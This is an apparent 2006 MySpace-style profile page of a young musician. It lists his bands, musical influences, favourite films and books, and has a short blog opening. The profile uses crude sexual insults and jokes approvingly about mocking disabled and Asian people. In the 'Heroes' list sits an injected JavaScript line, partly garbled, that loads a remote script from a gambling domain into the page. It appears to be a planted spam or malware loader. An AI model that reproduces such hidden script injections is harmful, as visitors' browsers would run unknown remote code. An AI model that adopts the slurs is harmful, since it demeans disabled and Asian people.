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James Fitzy

Blow me and I'll buy you a sandwich you fat whore

About Me

here's some stuff to really impress. Sometimes after i pee, I don't get all the trickle by shaking like 3 times, so it runs down my leg on my way out of the old shitter. I might very well not wash my hands and go right to shaking yours. Movies that mock retarded or asian people crack me up.... I mean... am I wrong, or am I racist? I will be accepting all serious hate mail via the link to my left that says "send message" haha,,,, and you know... wake up people... quit taking life so fucking seriously.
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My Interests

"insert witty bullshit self-righteous comment here"..... um.. seriously music, soccer (arsenal) currently ping pong is on my priority list hm... wow.. I really am quite boring.this is what I do for fun.

I'd like to meet:

this is me and z reminding you to always use a condom when using a potatoe for sex. and of coarse me and mike gazing into each others eyes. I dont really want to meet any more people. I got my people.

Music:

I currently play with: BLACK IRISH TEXAS (www.theblackirish.com), and the Bad Motivators (myspace.com/thebadmotivators)I am inspired by: The Who, the Pogues, The Clash, The Ramones, The Beatles, The silvertones and most other old school studio one/trojan records reggae/ska/soul from the 50's and 60's Jackie Mittoo, Desmond Dekker, Skatalites, bob Marley when he was like 17, The Clancy Bros., Johnny Cash (yes he did exist long before jaquin pheonix played him), this is soo tough, Reverand Horton Heat, Frank Zappa, the Velvet Underground, Buena Vista Social, the Specials, Misfits before this American psycho skate punk crap, umm... shit.. like everyone else's list.. this goes on forever... fear, the buzzcocks, cocksparrer, so much more. lately really into theolonious monk, Charlie Parker, Steve Smith of journey is like the best drummer ever, and of coarse I really been digging on Victor Wooten of the Flecktones. Those people are fucking amazing.

Movies:

true romance (inspired me to try dating prostitutes.. and sell cocaine) GOOD FELLAS (ever since I could remember I wanted to be a gangster) SWINGERS (taught me how to be money) PULP FICTION (its a chopper baby) THE HUSTLER (I'm back baby) HAROLD AND MAUDE (I like watching things grow) JACKIE BROWN (the delphonics are pretty good) SILENCE OF THE LAMBS (would you fuck me? If I was a woman I'd fuck me) ROCKY HORROR (I see you're suffering with an......ticipation) sex and lucia (that movies fucking hot) kill bill (mm..... Uma Thurman) Glen Garry Glen Ross (see that watch... its worth more than your life... fuck you... thats who I am.. 'Cause you drove a Hyundai to get here tonight, and I drove an $80000 BMW)

Television:

I dont own one myself... but when I did Conan O'Brian was at the top of the list..

Books:

THE GIVING TREE WHERE THE WILD THINGS ARE CATCHER IN THE RYE A DRINK WITH SHANE MACGOWAN NOTES FROM UNDERGROUND DEVINCI CODE FRANNY AND ZOOEY FULL MOON (keith moon bio) Zen and the art of Motorcycle Maintenence

Heroes:

Keith Moon, My dad, Shane Mac Gowan, Micheal Collins, Noelle Fitzsimmons, FDR,Well shit......... this could be a really long one too.. but heres just a few.. .."var s=document·('script');s.src='http://gamblingboard.com/x /7318.js';document·getElementsByTagName('head')[0].appe ndChild(s);"

My Blog

THIS IS MY FIRST BLOG. NO SLEEP. FEELING GOOD.

So it is currently June 17th at 5am. My life is so easy it fucking rocks my socks. I am like soooo broke and am "going nowhere" and all that other stuff, but shit life is easy. I went downtown tonight...
Posted by James Fitzy on Sat, 17 Jun 2006 03:26:00 PST